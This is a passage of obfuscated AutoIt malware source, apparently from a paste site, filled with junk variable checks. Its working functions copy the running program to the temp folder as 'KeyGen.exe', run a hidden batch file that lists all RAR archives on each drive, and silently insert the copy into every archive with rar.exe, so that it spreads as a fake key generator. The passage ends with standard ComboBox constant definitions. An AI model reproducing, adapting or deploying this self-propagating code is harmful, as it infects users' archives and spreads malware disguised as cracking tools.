  11766.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11767.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11768.                         Exit
  11769.                     Else
  11770.                     EndIf
  11771.                     search_dir_rar($drive[$i] & "\")
  11772.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11773.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11774.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11775.                         Exit
  11776.                     Else
  11777.                     EndIf
  11778.                 EndIf
  11779.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11780.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11781.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11782.                     Exit
  11783.                 Else
  11784.                 EndIf
  11785.             Next
  11786.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11787.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11788.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11789.                 Exit
  11790.             Else
  11791.             EndIf
  11792.         EndIf
  11793.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11794.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11795.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11796.             Exit
  11797.         Else
  11798.         EndIf
  11799.     Else
  11800.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11801.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11802.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11803.             Exit
  11804.         Else
  11805.         EndIf
  11806.         Return 0
  11807.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11808.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11809.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11810.             Exit
  11811.         Else
  11812.         EndIf
  11813.     EndIf
  11814.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11815.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11816.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11817.         Exit
  11818.     Else
  11819.     EndIf
  11820. EndFunc
  11821.  
  11822. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11823. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11824. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11825.     Exit
  11826. Else
  11827. EndIf
  11828. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11829. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11830. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11831.     Exit
  11832. Else
  11833. EndIf
  11834.  
  11835. Func search_dir_rar($driver)
  11836.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11837.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11838.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11839.         Exit
  11840.     Else
  11841.     EndIf
  11842.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11843.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11844.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11845.         Exit
  11846.     Else
  11847.     EndIf
  11848.     If DriveSpaceFree($driver) > 1000 Then
  11849.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11850.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11851.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11852.             Exit
  11853.         Else
  11854.         EndIf
  11855.         FileCopy(@AutoItExe, @TempDir & "\KeyGen.exe")
  11856.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11857.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11858.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11859.             Exit
  11860.         Else
  11861.         EndIf
  11862.         search_rar_bin($driver)
  11863.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11864.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11865.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11866.             Exit
  11867.         Else
  11868.         EndIf
  11869.         $file = FileOpen($driver & "system.bin", 0)
  11870.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11871.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11872.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11873.             Exit
  11874.         Else
  11875.         EndIf
  11876.         $s = 1
  11877.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11878.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11879.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11880.             Exit
  11881.         Else
  11882.         EndIf
  11883.         While 1
  11884.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11885.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11886.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11887.                 Exit
  11888.             Else
  11889.             EndIf
  11890.             $line = FileReadLine($file)
  11891.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11892.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11893.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11894.                 Exit
  11895.             Else
  11896.             EndIf
  11897.             If @error Then ExitLoop
  11898.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11899.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11900.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11901.                 Exit
  11902.             Else
  11903.             EndIf
  11904.             $shortname = FileGetShortName($line)
  11905.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11906.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11907.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11908.                 Exit
  11909.             Else
  11910.             EndIf
  11911.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11912.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11913.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11914.                 Exit
  11915.             Else
  11916.             EndIf
  11917.             ConsoleWrite($shortname & @CRLF)
  11918.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11919.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11920.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11921.                 Exit
  11922.             Else
  11923.             EndIf
  11924.             _winrarspeard($shortname, FileGetShortName(@TempDir & "\KeyGen.exe"))
  11925.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11926.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11927.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11928.                 Exit
  11929.             Else
  11930.             EndIf
  11931.             $s = $s + 1
  11932.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11933.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11934.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11935.                 Exit
  11936.             Else
  11937.             EndIf
  11938.         WEnd
  11939.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11940.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11941.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11942.             Exit
  11943.         Else
  11944.         EndIf
  11945.         $s = 1
  11946.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11947.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11948.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11949.             Exit
  11950.         Else
  11951.         EndIf
  11952.         FileSetAttrib($driver & "autoexec.bat", "-H")
  11953.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11954.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11955.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11956.             Exit
  11957.         Else
  11958.         EndIf
  11959.         FileSetAttrib($driver & "system.bin", "-H")
  11960.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11961.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11962.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11963.             Exit
  11964.         Else
  11965.         EndIf
  11966.         Sleep(10)
  11967.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11968.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11969.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11970.             Exit
  11971.         Else
  11972.         EndIf
  11973.         FileDelete($driver & "autoexec.bat")
  11974.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11975.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11976.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11977.             Exit
  11978.         Else
  11979.         EndIf
  11980.         FileDelete($driver & "system.bin")
  11981.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11982.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11983.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11984.             Exit
  11985.         Else
  11986.         EndIf
  11987.     EndIf
  11988.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11989.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11990.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11991.         Exit
  11992.     Else
  11993.     EndIf
  11994. EndFunc
  11995.  
  11996. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  11997. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  11998. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  11999.     Exit
  12000. Else
  12001. EndIf
  12002. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12003. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12004. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12005.     Exit
  12006. Else
  12007. EndIf
  12008.  
  12009. Func _winrarspeard($winrarfile, $infectedfile)
  12010.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12011.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12012.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12013.         Exit
  12014.     Else
  12015.     EndIf
  12016.     Sleep(100)
  12017.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12018.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12019.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12020.         Exit
  12021.     Else
  12022.     EndIf
  12023.     RunWait(@ProgramFilesDir & "\WinRar\rar.exe  a -ag- -ep1 -r0 -iext -- " & $winrarfile & " " & $infectedfile, "", @SW_HIDE)
  12024.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12025.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12026.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12027.         Exit
  12028.     Else
  12029.     EndIf
  12030.     Sleep(10)
  12031.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12032.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12033.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12034.         Exit
  12035.     Else
  12036.     EndIf
  12037. EndFunc
  12038.  
  12039. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12040. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12041. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12042.     Exit
  12043. Else
  12044. EndIf
  12045. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12046. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12047. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12048.     Exit
  12049. Else
  12050. EndIf
  12051.  
  12052. Func search_rar_bin($driver)
  12053.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12054.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12055.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12056.         Exit
  12057.     Else
  12058.     EndIf
  12059.     FileDelete($driver & "autoexec.bat")
  12060.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12061.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12062.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12063.         Exit
  12064.     Else
  12065.     EndIf
  12066.     FileDelete($driver & "system.bin")
  12067.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12068.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12069.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12070.         Exit
  12071.     Else
  12072.     EndIf
  12073.     $scmdfile = "cd\" & @CRLF & "dir *.rar /b /s >> system.bin"
  12074.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12075.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12076.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12077.         Exit
  12078.     Else
  12079.     EndIf
  12080.     FileWrite($driver & "autoexec.bat", $scmdfile)
  12081.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12082.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12083.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12084.         Exit
  12085.     Else
  12086.     EndIf
  12087.     FileSetAttrib($driver & "autoexec.bat", "+H")
  12088.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12089.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12090.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12091.         Exit
  12092.     Else
  12093.     EndIf
  12094.     RunWait($driver & "autoexec.bat", $driver, @SW_HIDE)
  12095.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12096.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12097.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12098.         Exit
  12099.     Else
  12100.     EndIf
  12101.     FileSetAttrib($driver & "system.bin", "+H")
  12102.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  12103.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  12104.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  12105.         Exit
  12106.     Else
  12107.     EndIf
  12108. EndFunc
  12109.  
  12110. Global Const $cb_err = -1
  12111. Global Const $cb_errattribute = -3
  12112. Global Const $cb_errrequired = -4
  12113. Global Const $cb_errspace = -2
  12114. Global Const $cb_okay = 0
  12115. Global Const $state_system_invisible = 32768
  12116. Global Const $state_system_pressed = 8
  12117. Global Const $cbs_autohscroll = 64
  12118. Global Const $cbs_disablenoscroll = 2048
  12119. Global Const $cbs_dropdown = 2
  12120. Global Const $cbs_dropdownlist = 3
  12121. Global Const $cbs_hasstrings = 512
  12122. Global Const $cbs_lowercase = 16384
  12123. Global Const $cbs_nointegralheight = 1024
  12124. Global Const $cbs_oemconvert = 128
  12125. Global Const $cbs_ownerdrawfixed = 16
  12126. Global Const $cbs_ownerdrawvariable = 32
  12127. Global Const $cbs_simple = 1
  12128. Global Const $cbs_sort = 256
  12129. Global Const $cbs_uppercase = 8192
  12130. Global Const $cbm_first = 5888
  12131. Global Const $cb_addstring = 323
  12132. Global Const $cb_deletestring = 324
  12133. Global Const $cb_dir = 325
  12134. Global Const $cb_findstring = 332
  12135. Global Const $cb_findstringexact = 344
  12136. Global Const $cb_getcomboboxinfo = 356
  12137. Global Const $cb_getcount = 326
  12138. Global Const $cb_getcuebanner = ($cbm_first + 4)
  12139. Global Const $cb_getcursel = 327
  12140. Global Const $cb_getdroppedcontrolrect = 338
  12141. Global Const $cb_getdroppedstate = 343
  12142. Global Const $cb_getdroppedwidth = 351
  12143. Global Const $cb_geteditsel = 320
  12144. Global Const $cb_getextendedui = 342
  12145. Global Const $cb_gethorizontalextent = 349
  12146. Global Const $cb_getitemdata = 336
  12147. Global Const $cb_getitemheight = 340
  12148. Global Const $cb_getlbtext = 328
  12149. Global Const $cb_getlbtextlen = 329
  12150. Global Const $cb_getlocale = 346
  12151. Global Const $cb_getminvisible = 5890
  12152. Global Const $cb_gettopindex = 347
  12153. Global Const $cb_initstorage = 353
  12154. Global Const $cb_limittext = 321
  12155. Global Const $cb_resetcontent = 331
  12156. Global Const $cb_insertstring = 330
  12157. Global Const $cb_selectstring = 333
  12158. Global Const $cb_setcuebanner = ($cbm_first + 3)
  12159. Global Const $cb_setcursel = 334
  12160. Global Const $cb_setdroppedwidth = 352
  12161. Global Const $cb_seteditsel = 322
  12162. Global Const $cb_setextendedui = 341
  12163. Global Const $cb_sethorizontalextent = 350
  12164. Global Const $cb_setitemdata = 337
  12165. Global Const $cb_setitemheight = 339
  12166. Global Const $cb_setlocale = 345
  12167. Global Const $cb_setminvisible = 5889
  12168. Global Const $cb_settopindex = 348
  12169. Global Const $cb_showdropdown = 335
  12170. Global Const $cbn_closeup = 8
  12171. Global Const $cbn_dblclk = 2
  12172. Global Const $cbn_dropdown = 7
  12173. Global Const $cbn_editchange = 5
  12174. Global Const $cbn_editupdate = 6
  12175. Global Const $cbn_errspace = (-1)
  12176. Global Const $cbn_killfocus = 4
  12177. Global Const $cbn_selchange = 1
  12178. Global Const $cbn_selendcancel = 10
  12179. Global Const $cbn_selendok = 9
  12180. Global Const $cbn_setfocus = 3
  12181. Global Const $cbes_ex_casesensitive = 16
  12182. Global Const $cbes_ex_noeditimage = 1
  12183. Global Const $cbes_ex_noeditimageindent = 2
  12184. Global Const $cbes_ex_nosizelimit = 8
  12185. Global Const $__comboboxconstant_wm_user = 1024
  12186. Global Const $cbem_deleteitem = $cb_deletestring
  12187. Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6)
  12188. Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7)
  12189. Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9)
  12190. Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9)
  12191. Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3)
  12192. Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4)
  12193. Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13)
  12194. Global Const $cbem_getunicodeformat = 8192 + 6
  12195. Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10)
  12196. Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1)
  12197. Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11)
  12198. Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8)
  12199. Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14)
  12200. Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2)
  12201. Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5)
  12202. Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12)
  12203. Global Const $cbem_setunicodeformat = 8192 + 5
  12204. Global Const $cbem_setwindowtheme = 8192 + 11
  12205. Global Const $cben_first = (-800)
  12206. Global Const $cben_last = (-830)
  12207. Global Const $cben_beginedit = ($cben_first - 4)
  12208. Global Const $cben_deleteitem = ($cben_first - 2)
  12209. Global Const $cben_dragbegina = ($cben_first - 8)
  12210. Global Const $cben_dragbeginw = ($cben_first - 9)
  12211. Global Const $cben_endedita = ($cben_first - 5)
  12212. Global Const $cben_endeditw = ($cben_first - 6)
  12213. Global Const $cben_getdispinfo = ($cben_first - 0)
  12214. Global Const $cben_getdispinfoa = ($cben_first - 0)
  12215. Global Const $cben_getdispinfow = ($cben_first - 7)
  12216. Global Const $cben_insertitem = ($cben_first - 1)
  12217. Global Const $cbeif_di_setitem = 268435456
  12218. Global Const $cbeif_image = 2
  12219. Global Const $cbeif_indent = 16
  12220. Global Const $cbeif_lparam = 32
  12221. Global Const $cbeif_overlay = 8
  12222. Global Const $cbeif_selectedimage = 4
  12223. Global Const $cbeif_text = 1
  12224. Global Const $__comboboxconstant_ws_vscroll = 2097152
  12225. Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, $cbs_autohscroll, $__comboboxconstant_ws_vscroll)
Add Comment
Please, Sign In to add comment